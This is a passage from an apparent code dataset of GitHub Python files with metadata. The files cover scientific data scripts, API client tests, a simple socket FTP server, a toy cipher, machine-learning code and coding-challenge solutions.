cmp_str)))\n","repo_name":"asooso1/ssafy_algorithm","sub_path":"0813/주영한/1213_string/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31669333439","text":"import sys\n\nimport utilities\nimport datastructure\nimport probesets\nimport phenotypes\n\n\"\"\"\nFor:\tAsh\nDate: 2014-10-13\nFunction:\n\tGet a probesetfreeze list.\n\tFor each probesetfreeze, each strain, count record/trait numbers\n\tand phenotypes\n\"\"\"\ndef traverse(outputfile):\n\t#\n\tfile = open(outputfile, 'w')\n\tinbredsetid = 1\n\tstrains = datastructure.get_strains(inbredsetid)\n\tprint(\"strains: %s\" % len(strains))\n\tsum = [0] * len(strains)\n\tprobesetfreezes = datastructure.get_probesetfreezes(inbredsetid)\n\tprint(\"probesetfreezes: %s\" % len(probesetfreezes))\n\t#\n\tcursor, con = utilities.get_cursor()\n\t#\n\tfile.write(\"DatasetID\\t\")\n\tfile.write(\"DatasetName\\t\")\n\tfile.write(\"RecordNumber\\t\")\n\tfor strain in strains:\n\t\tfile.write(\"%s\\t\" % strain[1])\n\tfile.write(\"\\n\")\n\tfile.flush()\n\t# phenotypes\n\tpublishxrefs = phenotypes.get_publishxrefs(inbredsetid)\n\tfile.write(\"-\\t\")\n\tfile.write(\"%s\\t\" % \"Phenotypes\")\n\tfile.write(\"%d\\t\" % len(publishxrefs))\n\t#\n\tfor i,strain in enumerate(strains):\n\t\tsql = \"\"\"\n\t\t\tSELECT COUNT(PublishData.Id)\n\t\t\tFROM PublishXRef,PublishData\n\t\t\tWHERE PublishXRef.InbredSetId=%s\n\t\t\tAND PublishXRef.DataId=PublishData.Id\n\t\t\tAND PublishData.StrainId=%s\n\t\t\tAND PublishData.value IS NOT NULL\n\t\t\t\"\"\"\n\t\tcursor.execute(sql, (inbredsetid, strain[0]))\n\t\tn = cursor.fetchone()[0]\n\t\tfile.write(\"%d\\t\" % n)\n\t\tfile.flush()\n\t\tsum[i] += n\n\t#\n\tfile.write(\"\\n\")\n\tfile.flush()\n\t#\n\tfor probesetfreeze in probesetfreezes:\n\t\t#\n\t\tprobesetfreezeid = probesetfreeze[0]\n\t\tprobesetfreezename = probesetfreeze[1]\n\t\tprobesetfreezefullname = probesetfreeze[2]\n\t\tprobesetxrefs = probesets.get_probesetxref(probesetfreezeid)\n\t\t#\n\t\tfile.write(\"%d\\t\" % probesetfreezeid)\n\t\tfile.write(\"%s\\t\" % probesetfreezefullname)\n\t\tfile.write(\"%d\\t\" % len(probesetxrefs))\n\t\t#\n\t\tfor i,strain in enumerate(strains):\n\t\t\tsql = \"\"\"\n\t\t\t\tSELECT COUNT(ProbeSetData.`Id`)\n\t\t\t\tFROM ProbeSetXRef,ProbeSetData\n\t\t\t\tWHERE ProbeSetXRef.`ProbeSetFreezeId`=%s\n\t\t\t\tAND ProbeSetXRef.`DataId`=ProbeSetData.`Id`\n\t\t\t\tAND ProbeSetData.`StrainId`=%s\n\t\t\t\tAND ProbeSetData.`value` IS NOT NULL\n\t\t\t\t\"\"\"\n\t\t\tcursor.execute(sql, (probesetfreezeid, strain[0]))\n\t\t\tn = cursor.fetchone()[0]\n\t\t\tfile.write(\"%d\\t\" % n)\n\t\t\tfile.flush()\n\t\t\tsum[i] += n\n\t\t#\n\t\tfile.write(\"\\n\")\n\t\tfile.flush()\n\t# sum\n\tfile.write(\"-\\t\")\n\tfile.write(\"%s\\t\" % \"Sum\")\n\tfile.write(\"-\\t\")\n\t#\n\tfor e in sum:\n\t\tfile.write(\"%d\\t\" % e)\n\t\tfile.flush()\n\t#\n\tfile.write(\"\\n\")\n\tfile.flush()\n\t#\n\tfile.close()\n\tcon.close()\n\n# python specials8.py /home/leiyan/datadir/20140205_Ash_BXD/statistic/trait_numbers.txt\n\nif __name__ == \"__main__\":\n\tprint(\"command line arguments:\\n\\t%s\" % sys.argv)\n\ttraverse(sys.argv[1])\n\tprint(\"exit successfully\")\n","repo_name":"genenetwork/genenetwork1","sub_path":"web/webqtl/maintainance/dataset/specials8.py","file_name":"specials8.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"19863630904","text":"def split_len(seq, length):\r\n return [seq[i:i + length] for i in range(0, len(seq), length)]\r\n\r\n\r\ndef encrypt(plaintext, key):\r\n plaintext = plaintext.replace(\" \", \"\")\r\n order = {\r\n int(val): num for num, val in enumerate(key)\r\n }\r\n ciphertext = ''\r\n for index in sorted(order.keys()):\r\n for part in split_len(plaintext, len(key)):\r\n try:\r\n ciphertext += part[order[index]]\r\n except IndexError:\r\n continue\r\n return ciphertext\r\n\r\n\r\ndef decrypt(ciphertext, key):\r\n ciphertext = ciphertext.replace(\" \", \"\")\r\n order = {\r\n int(val): num for num, val in enumerate(key)\r\n }\r\n plaintext = ''\r\n n = int(len(ciphertext) / len(key))\r\n for index in sorted(order.keys()):\r\n for part in split_len(ciphertext, n):\r\n try:\r\n plaintext += part[order[index]]\r\n except IndexError:\r\n continue\r\n return plaintext\r\n\r\n\r\nif __name__ == '__main__':\r\n txt = \"ONDINHKHANG\"\r\n inn = encrypt(txt,\"1234\")\r\n out = decrypt(inn,\"1234\")\r\n print(inn)\r\n print(out)","repo_name":"ondinhk/app_cipher","sub_path":"func/DoiCho_Cipher.py","file_name":"DoiCho_Cipher.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72650004625","text":"import sys\nimport sublime\nimport unittest\n\nFinFilterCommand = sys.modules[\"Fin.filter_commands\"].FinFilterCommand\n\ntransactions = \"\"\"\n2016-01-01 a 1zł\n2016-01-01 b 1zł\n2016-01-01 b 1zł\n2016-01-01 a 1zł\n2016-01-01 b 1zł\n\"\"\".strip()\n\n\nclass FilterCommandTestCase(unittest.TestCase):\n def setUp(self):\n self.view = sublime.active_window().new_file()\n self.command = FinFilterCommand(self.view)\n\n def tearDown(self):\n if self.view:\n self.view.set_scratch(True)\n self.view.window().focus_view(self.view)\n self.view.window().run_command(\"close_file\")\n\n def set_text(self, string):\n self.view.run_command(\"insert\", {\"characters\": string})\n\n def test_filter(self):\n folded = []\n def fold_mock(region):\n folded.append(region)\n\n self.view.fold = fold_mock\n self.set_text(transactions)\n self.command.filter('a')\n self.assertEqual(\n folded, [\n sublime.Region(17, 50),\n sublime.Region(68, 84)\n ]\n )\n folded = []\n self.command.filter('b')\n self.assertEqual(\n folded, [\n sublime.Region(0, 16),\n sublime.Region(51, 67)\n ]\n )\n\n def test_find_lines_to_fold(self):\n lines_to_fold = self.command.find_lines_to_fold(\n transactions, lambda t: 'a' in t.tags\n )\n self.assertEqual(list(lines_to_fold), [1, 2, 4])\n\n def test_coalesce_neighboring_regions(self):\n regions = self.command.coalesce_neighboring_regions([\n sublime.Region(0, 10),\n sublime.Region(11, 20),\n sublime.Region(25, 26),\n sublime.Region(30, 40),\n sublime.Region(41, 50),\n ])\n self.assertEqual(\n list(regions),\n [\n sublime.Region(0, 20),\n sublime.Region(25, 26),\n sublime.Region(30, 50)\n ]\n )\n","repo_name":"bevesce/fin_sublime","sub_path":"tests/test_filter_command.py","file_name":"test_filter_command.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43255892572","text":"import httplib\nimport unittest\n\nfrom abstract_test_case import AbstractTestCase\nfrom fake_requests import mock_response\n\n\nclass TestThermostat(unittest.TestCase, AbstractTestCase):\n @classmethod\n def setUpClass(cls):\n cls.mock_client_class()\n\n def setUp(self):\n self.build_client()\n\n def test_get_home_data(self):\n self.client.get.return_value = mock_response('https://api.netatmo.net/api/homesdata',\n httplib.OK,\n None,\n 'api', 'homesdata', 'GET.json')\n result = self.client.energy.get_home_data(None, 'NaCamera', 'NaPlug')\n\n self.client.get.assert_called_with('https://api.netatmo.net/api/homesdata',\n params=dict(gateway_type='NaCamera,NaPlug'))\n self.assertEqual(len(result['homes']), 2)\n self.assertEqual(len(result['homes'][0]['modules']), 1)\n self.assertEqual(len(result['homes'][1]['modules']), 2)\n\n\n\n def test_get_thermostat_data(self):\n self.client.get.return_value = mock_response('https://api.netatmo.net/api/getthermostatsdata',\n httplib.OK,\n None,\n 'api', 'getthermostatsdata', 'GET.json')\n result = self.client.energy.get_thermostat_data()\n self.assertEqual(result['user']['mail'], 'someone@somewhere.com')\n self.assertEqual(len(result['devices']), 2)\n\n def test_get_thermostat_data_by_device(self):\n device_id = 'test-device-id'\n\n self.client.get.return_value = mock_response('https://api.netatmo.net/api/getthermostatsdata',\n httplib.OK,\n None,\n 'api', 'getthermostatsdata', 'GET_{id}.json')\n\n result = self.client.energy.get_thermostat_data(device_id=device_id)\n self.client.get.assert_called_with('https://api.netatmo.net/api/getthermostatsdata',\n params=dict(device_id=device_id))\n self.assertEqual(result['user']['mail'], 'someone@somewhere.com')\n self.assertEqual(len(result['devices']), 1)\n\n def test_create_schedule(self):\n device_id = 'test-device-id'\n module_id = 'test-module-id'\n name = 'test-name-id'\n\n self.client.post.return_value = mock_response('https://api.netatmo.net/api/createnewschedule',\n httplib.OK,\n None,\n 'api', 'createnewschedule', 'POST.json')\n\n result = self.client.energy.create_new_schedule(device_id=device_id,\n module_id=module_id,\n name=name,\n zones=[],\n timetable=[])\n self.client.post.assert_called_with('https://api.netatmo.net/api/createnewschedule',\n data=dict(device_id=device_id, module_id=module_id,\n name=name, zones='[]', timetable='[]'),\n json=None)\n self.assertEqual(result['schedule_id'], '53a056ba55ee4f57198b4569')\n\n def test_set_therm_point(self):\n device_id = 'test-device-id'\n module_id = 'test-module-id'\n setpoint_mode = 'manual'\n setpoint_endtime = 666\n setpoint_temp = 19\n\n self.client.post.return_value = mock_response('https://api.netatmo.net/api/setthermpoint',\n httplib.OK,\n None,\n 'api', 'setthermpoint', 'POST.json')\n\n self.client.energy.set_therm_point(device_id=device_id,\n module_id=module_id,\n setpoint_mode=setpoint_mode,\n setpoint_endtime=setpoint_endtime,\n setpoint_temp=setpoint_temp)\n self.client.post.assert_called_with('https://api.netatmo.net/api/setthermpoint',\n data=dict(device_id=device_id, module_id=module_id,\n setpoint_mode=setpoint_mode, setpoint_endtime=setpoint_endtime,\n setpoint_temp=setpoint_temp),\n json=None)\n\n def test_switch_schedule(self):\n device_id = 'test-device-id'\n module_id = 'test-module-id'\n schedule_id = 'test-schedule-id'\n\n self.client.post.return_value = mock_response('https://api.netatmo.net/api/switchschedule',\n httplib.OK,\n None,\n 'api', 'switchschedule', 'POST.json')\n\n self.client.energy.switch_schedule(device_id=device_id,\n module_id=module_id,\n schedule_id=schedule_id)\n\n self.client.post.assert_called_with('https://api.netatmo.net/api/switchschedule',\n data=dict(device_id=device_id, module_id=module_id,schedule_id=schedule_id),\n json=None)\n\n def test_sync_schedule(self):\n device_id = 'test-device-id'\n module_id = 'test-module-id'\n\n self.client.post.return_value = mock_response('https://api.netatmo.net/api/syncschedule',\n httplib.OK,\n None,\n 'api', 'syncschedule', 'POST.json')\n\n self.client.energy.sync_schedule(device_id=device_id,\n module_id=module_id,\n zones=[],\n timetable=[])\n self.client.post.assert_called_with('https://api.netatmo.net/api/syncschedule',\n data=dict(device_id=device_id, module_id=module_id,\n zones='[]', timetable='[]'),\n json=None)\n","repo_name":"antechrestos/python-netatmo-client","sub_path":"test/test_energy.py","file_name":"test_energy.py","file_ext":"py","file_size_in_byte":6871,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"25178274667","text":"__author__ = 'Mr.Bool'\nimport select\nimport socket\nimport queue,json,os\nclass SelectFTP(object):\n def __init__(self):\n self.server=socket.socket()\n self.server.bind(('0.0.0.0',9001))\n self.server.listen(1000)\n self.server.setblocking(False)\n self.intputs=[self.server,]\n self.outputs=[]\n self.msg_dic={}\n self.count=0\n def handler(self):\n while True:\n readable,writeable,excepational=select.select(self.intputs,self.outputs,self.intputs)\n for r in readable:\n if r is self.server:\n self.count+=1\n # print('server',str(self.count))\n # print(\"有新的链接\")\n conn,addr=self.server.accept()\n # print(conn,addr)\n self.intputs.append(conn)\n self.msg_dic[conn]=queue.Queue()\n # print('添加成功')\n else:\n self.count+=1\n # print('r',str(self.count))\n data=r.recv(1024)\n # print(data)\n # r.send(data)\n self.msg_dic[r].put(data)\n self.outputs.append(r)\n for w in writeable:\n print(w)\n self.count+=1\n data=self.msg_dic[w].get()\n print(data.decode().split())\n if data.decode().split()[0]=='get':\n self._get(data.decode().split(),w)\n elif data.decode().split()[0]=='put':\n self._put(data.decode().split(),w)\n self.outputs.remove(w)\n for e in excepational:\n if e in self.outputs:\n self.outputs.remove(e)\n self.intputs.remove(e)\n del self.msg_dic[e]\n\n def _put(self,*args):\n '上传'\n print(args)\n connp=args[1]\n data=args[0]\n filename=data[1]\n datafilesize=json.loads(connp.recv(1024).decode())\n filesize=datafilesize.get('filesize')\n receivesize=0\n wf=open(filename,'wb')\n while receivesize!=filesize:\n if filesize-receivesize<1024:\n line=connp.recv(filesize-receivesize)\n else:\n line=connp.recv(1024)\n wf.write(line)\n receivesize+=len(line)\n else:\n wf.close()\n print('上传成功')\n\n def _get(self,*args):\n '下载'\n print('下载...')\n print(args[0],args[1])\n conng=args[1]\n data=args[0]\n filename=data[1]\n if os.path.isfile(filename):\n filesize=os.path.getsize(filename)\n print('要下载的数据大小:',filesize)\n conng.send(json.dumps({'filesize':filesize}).encode('utf-8'))\n rf=open(filename,'rb')\n sendsize=0\n for line in rf:\n conng.send(line)\n sendsize+=len(line)\n else:\n print('总共发送了',sendsize)\n print('发送完成')\n rf.close()\n\nif __name__=='__main__':\n selectserver=SelectFTP()\n selectserver.handler()","repo_name":"MrLaoGong/GradeFTP","sub_path":"SelectSimpleFTP/SFTP/selectFTP.py","file_name":"selectFTP.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13596953252","text":"def primes_up_to(n): \n prime = [True for i in range(n + 1)] \n p = 2\n while (p * p <= n): \n if (prime[p] == True): \n for i in range(p * 2, n + 1, p): \n prime[i] = False\n p += 1\n prime[0]= False\n prime[1]= False\n \n primes = []\n for p in range(n + 1): \n if prime[p]:\n primes.append(p)\n return primes\n\ndef nof_dividers(nums, left, right): \n all = [1 for i in range(right - left + 1)]\n odd = [1 for i in range(right - left + 1)]\n i = 0\n while (primes[i] * primes[i] <= right):\n number = left // primes[i] * primes[i]\n if left % primes[i]:\n number += primes[i]\n \n for mul in range(number, right + 1, primes[i]): \n add = 1\n while not nums[mul-left] % primes[i]:\n add += 1\n nums[mul-left] /= primes[i]\n all[mul-left] *= add\n if primes[i] > 2:\n odd[mul-left] *= add\n i += 1\n \n for i in range(right - left + 1): \n if nums[i] > 1:\n all[i] *= 2\n odd[i] *= 2\n return all,odd\n\nprimes = primes_up_to(32000)\n\nnof_tests = int(input())\nfor test in range(1, nof_tests + 1):\n left, right = map(int, input().split())\n nums = list(range(left, right + 1))\n all,odd = nof_dividers(nums, left, right)\n count = 0\n for i in range(right - left + 1):\n even = all[i] - odd[i]\n if (abs(even - odd[i]) <= 2):\n count += 1\n\n print(\"Case #{}: {}\".format(test, count))\n","repo_name":"matthewrossi/coding-challenges","sub_path":"kickstart/2019/E/street-checkers/street_checkers_fast.py","file_name":"street_checkers_fast.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"30720228871","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\n\n# uncomment the next line if you are working in Jupyter to see results in window\n# %matplotlib inline\n\n# load a new data set\ndataset = pd.read_csv(\"./housing.csv\")\n\n# data pre-processing\ndataset = dataset.drop(columns=[\"ocean_proximity\"])\ndataset.dropna(inplace=True)\n\n# grab relevent columns of dataset for inputs\nX = dataset[[\"longitude\", \"latitude\", \"total_rooms\", \"population\", \"households\", \"median_income\"]]\n# and then again for outcomes\nY = dataset[[\"median_house_value\"]]\n\n# split data into training and testing data\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.3, random_state=101)\n\n# create new model, then fit it\nlr_model = LinearRegression()\nlr_model.fit(X_train, Y_train)\n\n# make predictions for our test data set and graph comparison\npredictions = lr_model.predict(X_test)\nfig = plt.scatter(Y_test, predictions, color=\"black\").get_figure()\n\n# generate an idenitity (X = Y) line and plot it\nactuals = Y_test.values.tolist()\nidentity_line = np.linspace(max(min(actuals), min(predictions)),\n min(max(actuals), max(predictions)))\nplt.plot(identity_line, identity_line, color=\"red\",\n\t linestyle=\"dashed\", linewidth=2.5)\n\n# add some pretty printing to our graph\nplt.title(\"Scatterplot of Housing Price Prediction Accuracy\")\nplt.xlabel(\"Actual House Values\")\nplt.ylabel(\"Predicted House Values\")\n\n# save the figure and then show it\nfig.savefig(fname=\"output.png\")\nplt.show()","repo_name":"helioseven/DMA_ML-AI","sub_path":"linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6642732889","text":"import sys\ndef hash(array):\n\tx=\"\"\n\tfor i in array:\n\t\tx+=str(i)\n\treturn (x)\n\ndef merge (max_zI):\n\tgenes_num= 0\n\tgene_to_merge = []\n\tgenes_timeline = []\n\ttimeline = []\n\tbest = 0\n\tmax_zI = float(max_zI)\n\n\twith open(\"grind.txt\")as in1:\n\t\tline1 = in1.readline()\n\t\tgenes_name = line1.split()\n\t\tgenes_num = len(genes_name)\n\n\t\tif (genes_num <= 1):\n\t\t\treturn(3)\n\n\t\tline2 = in1.readline()\n\t\tgene_to_merge = line2.split()[0:genes_num]\n\t\tbest = line2.split()[genes_num]\n\t\tif (float(best) self.dropout_rate:\n self.pub.publish(msg)\n\ndef main(args = None):\n rclpy.init(args = args)\n simulator = OptiTrackSimNode()\n rclpy.spin(simulator)\n\n simulator.destroy_node()\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()\n","repo_name":"MPC-Berkeley/barc_lite","sub_path":"workspace/src/mpclab_simulation/mpclab_simulation/nodes/py_sim_optitrack_node.py","file_name":"py_sim_optitrack_node.py","file_ext":"py","file_size_in_byte":4436,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22796860854","text":"from rest_framework.generics import RetrieveAPIView\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework import serializers, status\nfrom rest_framework.views import APIView\nfrom rest_framework.exceptions import NotFound\nfrom .models import Profile\nfrom .renderers import ProfileJSONRenderer\nfrom .serializers import ProfileSerializer\nfrom .exceptions import ProfileDoesNotExist\n\nimport json\n\n\nclass ProfileRetrieveAPIView(RetrieveAPIView):\n permission_classes = (IsAuthenticated,)\n renderer_classes = (ProfileJSONRenderer,)\n serializer_class = ProfileSerializer\n\n def retrieve(self, request, username, *args, **kwargs):\n try:\n profile = Profile.objects.select_related('user').get(\n user__username=username\n )\n\n except Profile.DoesNotExist:\n raise ProfileDoesNotExist\n\n serializer = self.serializer_class(profile)\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\nclass ProfileFollowAPIView(APIView):\n permission_classes = (IsAuthenticated,)\n renderer_classes = (ProfileJSONRenderer,)\n serializer_class = ProfileSerializer\n\n def delete(self, request, username):\n ''' The current user is able to unfollow another user's profile. '''\n follower = request.user.profile\n\n # Get the profile of user being followed\n try:\n followed = Profile.objects.get(user__username=username)\n except Profile.DoesNotExist:\n raise NotFound('The user with this profile does not exist')\n\n # The function unfollow takes the followed user\n follower.unfollow(followed)\n\n serializer = self.serializer_class(follower, context={\n 'request': request})\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def post(self, request, username):\n ''' The current user is able to follow another user's profile. '''\n follower = request.user.profile\n\n # Get the profile of user being followed\n try:\n followed = Profile.objects.get(user__username=username)\n except Profile.DoesNotExist:\n raise NotFound('The user with this profile does not exist')\n\n # A user cannot follow themselves\n if follower.pk is followed.pk:\n raise serializers.ValidationError('You cannot follow yourself')\n\n # The function follow takes the followed user\n follower.follow(followed)\n\n serializer = self.serializer_class(follower, context={\n 'request': request})\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass FollowersAPIView(APIView):\n permission_classes = (IsAuthenticated,)\n renderer_classes = (ProfileJSONRenderer,)\n serializer_class = ProfileSerializer\n\n def get(self, request, username):\n user = request.user.profile\n profile = Profile.objects.get(user__username=username)\n\n followers = user.get_followers(profile)\n serializer = self.serializer_class(followers, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass FollowingAPIView(APIView):\n permission_classes = (IsAuthenticated,)\n renderer_classes = (ProfileJSONRenderer,)\n serializer_class = ProfileSerializer\n\n def get(self, request, username):\n user = request.user.profile\n profile = Profile.objects.get(user__username=username)\n\n following = user.get_following(profile)\n serializer = self.serializer_class(following, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n","repo_name":"Tittoh/blogAPI","sub_path":"authors/apps/profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27083179484","text":"import json\n\nimport geopandas as gpd\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\n\n\ndef load_from_cds(filepath: str) -> pd.DataFrame:\n \"\"\"Load GeoDataFrame from NetCDF file.\n\n Parameters\n ----------\n filepath : str\n Path to the NetCDF file containing the data.\n\n Returns\n -------\n pd.DataFrame\n DataFrame from the file.\n \"\"\"\n gdf = xr.open_dataset(filepath).to_dataframe().reset_index()\n gdf[\"time\"] = gdf[\"time\"].dt.date\n gdf.groupby([\"latitude\", \"longitude\", \"time\"]).sum().reset_index()\n return gdf\n\n\ndef load_swi_metadata(filepath: str) -> pd.DataFrame:\n \"\"\"Load and Format metadata csv for SWI data\n\n Parameters\n ----------\n filepath : str\n Path to data CSV\n\n Returns\n -------\n pd.DataFrame\n Formatted DataFrame\n \"\"\"\n return pd.read_csv(\n filepath,\n delimiter=\";\",\n skiprows=4,\n usecols=[\"lat_dg\", \"lon_dg\", \"#num_maille\"],\n ).rename(\n columns={\n \"lat_dg\": \"latitude\",\n \"lon_dg\": \"longitude\",\n \"#num_maille\": \"maille_nb\",\n }\n )\n\n\ndef load_swi_data(\n filepaths: str | list[str],\n metadata_filepath: str,\n years: list[int] | int = [],\n) -> pd.DataFrame:\n \"\"\"Load and Format SWI data from Météo France\n\n Parameters\n ----------\n filepaths : str | list[str]\n Path or list of path of files to load.\n metadata_filepath : str\n Metadata CSV path\n years : list[int] | int, optional\n Years to consider, all years will be returned if empty., by default []\n\n Returns\n -------\n pd.DataFrame\n Formatted DataFrame\n \"\"\"\n meta = load_swi_metadata(metadata_filepath)\n if isinstance(filepaths, str):\n filepaths = [filepaths]\n if isinstance(years, int):\n years = [years]\n dfs = []\n for file in filepaths:\n # Read file\n lambert_df = pd.read_csv(\n file,\n delimiter=\";\",\n usecols=[\"DATE\", \"NUMERO\", \"SWI_UNIF_MENS3\"],\n )\n # remove date (date format: YYYYMM)\n date = lambert_df.pop(\"DATE\").astype(str)\n # Rename columns\n lambert_df.rename(\n columns={\n \"NUMERO\": \"maille_nb\",\n \"SWI_UNIF_MENS3\": \"SWI\",\n },\n inplace=True,\n )\n # replace ',' in number to convert to float\n lambert_df[\"SWI\"] = (\n lambert_df[\"SWI\"].astype(str).str.replace(\",\", \".\").astype(float)\n )\n # parse year and month from date column\n year = date.str.slice(0, 4).astype(int)\n month = date.str.slice(4).astype(int)\n day = pd.Series(np.ones(month.shape))\n # create new date column\n lambert_df[\"date\"] = pd.to_datetime(\n pd.concat(\n [year, month, day],\n axis=1,\n keys=[\"year\", \"month\", \"day\"],\n )\n )\n # select relevant years\n if years:\n lambert_df = lambert_df[lambert_df[\"date\"].dt.year.isin(years)]\n lambert_df[\"date\"] = lambert_df[\"date\"].dt.date\n # merge with metadata to get latitude and longitude\n df = lambert_df.merge(meta, on=\"maille_nb\")\n dfs.append(df)\n # concatenate all files\n return pd.concat(dfs, ignore_index=True)\n\n\ndef load_geojson(filepath: str) -> dict:\n \"\"\"Load GeoJson\n\n Parameters\n ----------\n filepath : str\n Path to the geojson file.\n\n Returns\n -------\n dict\n Dictionnary corresponding to the geojson.\n \"\"\"\n return json.load(open(filepath))\n\n\ndef load_geotable(filepath: str) -> gpd.GeoDataFrame:\n \"\"\"Return transposed GeoDataFrame corresponding to the geojson.\n\n Parameters\n ----------\n filepath : str\n Path to the geojson file.\n\n Returns\n -------\n gpd.GeoDataFrame\n Transposed GeoDataFrame corresponding to the geojson.\n \"\"\"\n return gpd.read_file(filepath).transpose()\n","repo_name":"LaReserveTech/ecowater-data-research","sub_path":"ecowater_data_research/loaders.py","file_name":"loaders.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7810523698","text":"def valid(parentheses):\n stack = []\n for x in parentheses:\n if x == '(':\n stack.append(x)\n elif x == ')' and len(stack)>0 and stack[-1] == '(':\n stack.pop()\n elif x == '[':\n stack.append(x)\n elif x == ']' and len(stack)>0 and stack[-1] == '[':\n stack.pop()\n elif x == '{':\n stack.append(x)\n elif x == '}' and len(stack)>0 and stack[-1] == '{':\n stack.pop()\n else:\n return 0\n if len(stack) == 0:\n return 1\n else:\n return 0\n'''\nNO STACK SOLUTION\n lpar = rpar = lbracket = rbracket = lcurl = rcurl = 0\n for char in A:\n if char == '(':\n lpar+= 1\n elif char == ')':\n if lpar:\n lpar-=1\n else:\n rpar += 1\n elif char == '[':\n lbracket+= 1\n elif char == ']':\n if lbracket:\n lbracket-=1\n else:\n rbracket += 1\n elif char == '{':\n lcurl += 1\n elif char == '}':\n if lcurl:\n lcurl-=1\n else:\n rcurl += 1\n if (lpar + rpar + lbracket + rbracket + lcurl + rcurl) == 0:\n return 1\n else:\n return 0\n'''\n\ntest1 = '()[]{}'\ntest2 = '{()()}'\ntest3 = '(]([)]'\ntest4 = '[]()]'\nprint(valid(test1))\nprint(valid(test2))\nprint(valid(test3))\nprint(valid(test4))\n","repo_name":"cookiewho/IPS_Workshop_2020","sub_path":"7_ValidParentheses.py","file_name":"7_ValidParentheses.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27203758732","text":"from typing import Union\n\nimport tensorflow as tf\n\nfrom angorapy.agent.core import extract_discrete_action_probabilities\nfrom angorapy.agent.ppo import loss\nfrom angorapy.common.policies import BasePolicyDistribution\nfrom angorapy.common.senses import Sensation\n\n\ndef learn_on_batch(batch,\n joint: tf.keras.Model,\n distribution: BasePolicyDistribution,\n continuous_control: bool,\n clip_values: bool,\n clipping_bound: tf.Tensor,\n gradient_clipping: Union[tf.Tensor, None],\n c_value: tf.Tensor,\n c_entropy: tf.Tensor,\n is_recurrent: bool):\n \"\"\"Optimize a given network on the given batch.\n\n Note:\n - the model must be given as a parameter because otherwise the tf.function wrapper will permanently\n associate the network variables with the graph, preventing us from clearing the memory\n\n Args:\n batch: the batch of data to learn on\n joint: the network (with both a policy and a value head\n distribution: the distribution the network predicts\n continuous_control: whether the distribution is continuous\n clip_values: whether the value function should be clipped\n clipping_bound: the bounds of the clipping\n gradient_clipping: the clipping bound of the gradients, if None, no clipping is performed\n c_value: the weight of the value functions loss\n c_entropy: the weight of the entropy regularization\n is_recurrent: whether the network is recurrent\n\n Returns:\n gradients, mean_entropym , mean_policy_loss, mean_value_loss\n \"\"\"\n with tf.GradientTape() as tape:\n state_batch = {fname: f for fname, f in batch.items() if fname in Sensation.sense_names}\n old_values = batch[\"value\"]\n\n policy_output, value_output = joint(state_batch, training=True)\n\n if continuous_control:\n # if action space is continuous, calculate PDF at chosen action value\n for moment in policy_output:\n tf.debugging.assert_all_finite(moment, \"A moment in policy output is nan/inf\")\n\n action_probabilities = distribution.log_probability(batch[\"action\"], *policy_output)\n else:\n # if the action space is discrete, extract the probabilities of actions actually chosen\n action_probabilities = distribution.log_probability(batch[\"action\"], policy_output)\n\n # calculate the three loss components\n policy_loss = loss.policy_loss(action_prob=action_probabilities,\n old_action_prob=batch[\"action_prob\"],\n advantage=batch[\"advantage\"],\n mask=batch[\"mask\"],\n clipping_bound=clipping_bound,\n is_recurrent=is_recurrent)\n value_loss = loss.value_loss(value_predictions=tf.squeeze(value_output, axis=-1),\n old_values=old_values,\n returns=batch[\"return\"],\n mask=batch[\"mask\"],\n clip=clip_values,\n clipping_bound=clipping_bound,\n is_recurrent=is_recurrent)\n entropy = loss.entropy_bonus(policy_output=policy_output,\n distribution=distribution)\n\n tf.debugging.assert_all_finite(policy_loss, f\"Policy loss is nan/inf\")\n tf.debugging.assert_all_finite(entropy, f\"Entropy is nan/inf\")\n tf.debugging.assert_all_finite(value_loss, f\"Value loss is nan/inf\")\n\n # combine weighted losses\n total_loss = policy_loss + tf.multiply(c_value, value_loss) - tf.multiply(c_entropy, entropy)\n\n # calculate the gradient of the joint model based on total loss\n gradients = tape.gradient(total_loss, joint.trainable_variables)\n\n for i, gradient in enumerate(gradients):\n tf.debugging.assert_all_finite(gradient, f\"Gradient {i} is nan/inf\")\n\n # clip gradients to avoid gradient explosion and 